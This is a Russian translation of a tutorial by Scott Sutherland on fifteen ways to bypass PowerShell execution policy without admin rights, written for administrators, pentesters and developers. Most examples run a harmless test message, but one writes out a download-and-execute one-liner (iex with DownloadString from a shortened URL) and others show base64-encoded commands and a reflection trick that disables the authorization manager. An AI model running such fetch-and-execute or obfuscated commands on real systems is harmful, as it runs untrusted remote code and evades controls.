По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.
Автор: Scott Sutherland
По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора. Полагаю, что есть техники, которые не будут упомянуты из-за моей забывчивости или элементарного незнания, однако, надеюсь, нижеприведенный список будет хорошим стартом для тех, кто нуждается в нем.
Что такое PowerShell Execution Policy?
Execution policy определяет, какие типы скриптов могут быть запущены (если вообще могут) в системе. По умолчанию значение параметра выставлено как «Restricted», что запрещает запуск любых скриптов. Однако следует понимать, что настройка Execution Policy никогда не относилась к управлению безопасностью, а служила лишь для того, чтобы администраторы случайно не могли вывести систему из строя. Именно поэтому существует множество техник, чтобы обойти эти настройки, включая некоторые, предоставленные компанией Microsoft. Более подробно о Execution Policy и других настройках безопасности в PowerShell рекомендую почитать блог Карлоса Переса.
Зачем нужно обходить Execution Policy?
Кажется, один из наиболее распространенных ответов на вопрос, обозначенный в заголовке, - автоматизация процессов. Однако есть и другие причины, по которым PowerShell стал популярным среди администраторов, пентестеров и хакеров. PowerShell:
Как посмотреть настройки Execution Policy
Перед началом использования всех возможностей PowerShell, потребуется обойти запрет на запуск скриптов. Текущие настройки можно получить, выполнив команду «Get-ExectionPolicy». Если запрет выставлен, то при запуске команды появится следующее сообщение:
PS C:\> Get-ExecutionPolicy
Рисунок 1: Результат выполнения команды в системе, где установлен запрет на запуск скриптов
Важно отметить, что Execution Policy может устанавливаться на различных уровнях системы. Чтобы посмотреть список уровней, используйте команду ниже (за более подробной информацией обращайтесь к соответствующей странице TechNet).
Get-ExecutionPolicy -List | Format-Table –AutoSize
Рисунок 2: Настройки Execution Policy на различных системных уровнях
Настройка тестовой среды
В примерах ниже я буду использовать скрипт с именем runme.ps, содержащий следующую команду для вывода сообщения в консоль:
Write-Host "My voice is my passport, verify me."
При запуске скрипта в системе со стандартными настройками Execution Policy выводится следующая ошибка:
Рисунок 3: Ошибка, выводимая при запуске тестового скрипта в среде, где настрое запрет на запуск скриптов
Если ваша текущая политика разрешает запуск скриптов, поставить запрет (в целях тестирования) можно при помощи команды Set-ExecutionPolicy Restricted, запущенной из консоли администратора PowerShell. Ну, хорошо, достаточно пустой болтовни. Перейдем непосредственно к методам обхода запрета, установленного в Execution Policy.
1. Копирование скрипта непосредственно в интерактивную консоль PowerShell
Скопируйте и вставьте скрипт в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями текущего пользователя. Метод наиболее часто используется для запуска простых скриптов, когда у вас есть доступ к интерактивной консоли. Кроме того, эта техника не влечет за собой изменения настроек и не требует записи на диск.
Рисунок 4: Запуск скрипта при помощи копирования в интерактивную консоль
2. Отправка содержимого скрипта в стандартный поток ввода PowerShell
Просто отправьте содержимое скрипта в стандартный поток ввода. Техника не влечет за собой изменения настроек и не требует записи на диск.
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
Рисунок 5: Вывод содержимого скрипта в стандартный поток ввода
3. Чтение скрипта из файла и перенаправление содержимого в стандартный поток ввода PowerShell
Используйте стандартную команду «type» или PowerShell команду «Get-Content» для чтения содержимого скрипта с диска и перенаправьте полученный результат в стандартный поток ввода. Техника не влечет за собой изменения настроек, однако требует записи на диск. Чтобы избежать записи на диск, можно использовать сетевой общий ресурс (network share).
Пример 1: Использование PowerShell команды Get-Content
Get-Content .\runme.ps1 | PowerShell.exe -noprofile -
Рисунок 6: Использование команды Get-Content
Пример 2: Использование команды Type
TYPE .\runme.ps1 | PowerShell.exe -noprofile -
Рисунок 7: Использование команды Type
4. Загрузка скрипта из сети и запуск при помощи Invoke Expression
Технику можно использовать для загрузки скрипта из интернета и запуска без записи на диск. Также не будут изменены никакие настройки. Я видел много способов запуска скриптов подобным образом, но недавно наткнулся на следующий пример:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
Рисунок 8: Загрузка скрипта из интернета и запуск при помощи Invoke Expression
5. Использование параметра Command
Техника схожа с примером через копирование и вставку, но может быть использована без интерактивной консоли. Метод прекрасно подходит для простых скриптов, но запуск более сложных скриптов, обычно, оканчивается ошибками. Техника не влечет за собой изменения настроек и не требует записи на диск.
Пример 1: Полная команда
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Рисунок 9: Запуск скрипта при помощи полной версии параметра
Пример 2: Короткая команда
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
Можно объединить вышеуказанные команды в пакетные файлы и поместить их в автозагрузку для увеличения уровня привилегий.
6. Использование параметра EncodeCommand
Метод схож с предыдущей техникой, но здесь все скрипты закодированы в строку Unicode. Кодирование скрипта позволяет избежать ошибок, возникающих при использовании параметра «Command». Техника не влечет за собой изменения настроек и не требует записи на диск. Пример ниже взят из Posh-SecMod. Та же утилита содержит хороший метод для уменьшения размера закодированных команд.
Пример 1: Полный вариант
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
Рисунок 10: Полный вариант команды
Пример 2: Сокращенный параметр
powershell.exe -Enc
VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAA
aQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. Использование команды Invoke-Command
Техника, найденная мной в блоге Obscuresec, используется через интерактивную консоль или в сочетании с параметром «Command». Главная особенность метода в том, что его можно использовать для запуска команд на удаленных системах, где разрешен запуск скриптов PowerShell. Техника не влечет за собой изменения настроек и не требует записи на диск.
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
Рисунок 11: Использование команды Invoke-Command
Команда ниже, созданная по мотивам блога Obscuresec, может использоваться для переноса настроек execution policy с удаленной машины на локальную.
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. Использование команды Invoke-Expression
Как и в предыдущем случае, техника используется через интерактивную консоль или в сочетании с параметром «Command». Метод не влечет за собой изменения настроек и не требует записи на диск. Ниже показано несколько наиболее распространенных способов использования команды Invoke-Expression для обхода execution policy.
Пример 1: Полная версия команды Get-Content
Get-Content .\runme.ps1 | Invoke-Expression
Рисунок 12: Полный вариант команды Get-Content
Пример 2: Сокращенный вариант Get-Content
GC .\runme.ps1 | iex
9. Использование флага Bypass
Флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использование этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.
PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1
Рисунок 13: Использование флага Bypass
10. Использование флага Unrestricted
Техника схожа с предыдущей. Хотя, при использовании флага Unrestricted Microsoft заявляет, что «загружаются все конфигурационные файла и запускаются все скрипты. Если вы запустите неподписанный скрипт, загруженные из интернета, появится сообщение с вопросом о подтверждении запуска». Метод не влечет за собой изменения настроек и не требует записи на диск.
PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1
Рисунок 14: Использование флага Unrestricted
11. Использование флага Remote-Signed
Создайте скрипт. Затем подпишите его, используя руководство, написанное Карлосом Пересом. Теперь запустите скрипт, используя команду ниже:
PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1
12. Запрет ExecutionPolicy путем выгрузки Authorization Manager
С этой техникой я столкнулся на сайте http://www.nivot.org. Функцию, указанную ниже, можно запустить через интерактивную консоль или в сочетании с параметром «command». После запуска будет в поле AuthorizationManager будет установлено значение null, в результате чего остаток сессии у execution policy будет статус unrestricted. Техника не влечет за собой постоянного изменения в настройках и не требует записи на диск. Хотя, в текущей сессии изменения будут.
function Disable-ExecutionPolicy {($ctx =
$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(
$executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").
setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\runme.ps1
Рисунок 15: Отключение Authorization Manager в текущей сессии
13. Установка Excution Policy для уровня Process
В начале статьи было сказано, что execution policy может быть применена к различным уровням (включая уровень process, на которым у вас есть контроль). Используя эту технику, execution policy может быть установлена в статус unrestricted во время сессии. Кроме того, метод не влечет за собой изменения в настройках и не требует записи на диск. Я нашел эту технику в блоге r007break.
Set-ExecutionPolicy Bypass -Scope Process
Рисунок 16: Установка статуса Unrestricted для уровня Process
14. Установка статуса Unrestricted для уровня CurrentUser при помощи команды
Техника схожа с предыдущей, но здесь изменяются установки среды текущего пользователя путем модификации ключа в реестре. Метод не влечет за собой изменения настроек и не требует записи на диск. Техника также была найдена в блоге r007break.
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Рисунок 17: Установка статуса Unrestricted для уровня CurrentUser
15. Установка статуса Unrestricted для уровня CurrentUser через реестр
В этом примере я покажу, как выставлять постоянные настройки execution policy для текущего пользователя путем модификации ключа реестра напрямую.
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
Рисунок 18: Выставление статуса для execution policy через реестр
Заключение
Статья была написана с той целью, чтобы запреты execution policy не были препятствием для разработчиков, администраторов и пентестеров. Microsoft никогда не пыталась сделать безопасным PowerShell, именно поэтому столь много техник для обхода запретов. Компания Microsoft предоставила несколько полезных встроенных инструментов, а сообщество специалистов по безопасности продемонстрировало несколько интересных трюков. Спасибо всем, кто внес свой вклад в развитие темы обхода запуска скриптов путем написания статей в блогах и презентаций. Всем остальным желаю удачи при использовании PowerShell, и не забывайте об ответственности за свои действия ;).
Ссылки:
Ладно, не доказали. Но мы работаем над этим